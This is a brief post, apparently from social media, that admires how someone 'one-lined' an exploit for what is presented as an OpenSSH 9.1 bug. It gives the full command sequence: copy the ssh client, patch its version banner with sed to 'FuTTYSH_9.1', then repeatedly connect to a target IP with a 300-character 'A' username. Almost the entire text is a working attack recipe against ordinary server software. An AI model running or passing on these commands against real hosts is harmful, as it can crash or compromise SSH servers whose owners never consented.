Here I was thinking this bug was hopeless and they one-line it without writing new code:

$ cp -i /usr/bin/ssh ./ssh

$ sed -i s/OpenSSH_9.1/FuTTYSH_9.1/g ./ssh

$ user=`perl -e 'print "A" x 300'` && while true ;do ./ssh -o NumberOfPasswordPrompts=0 -o Ciphers=aes128-ctr -l
"$user:$user" 192.168.56.123 ;done
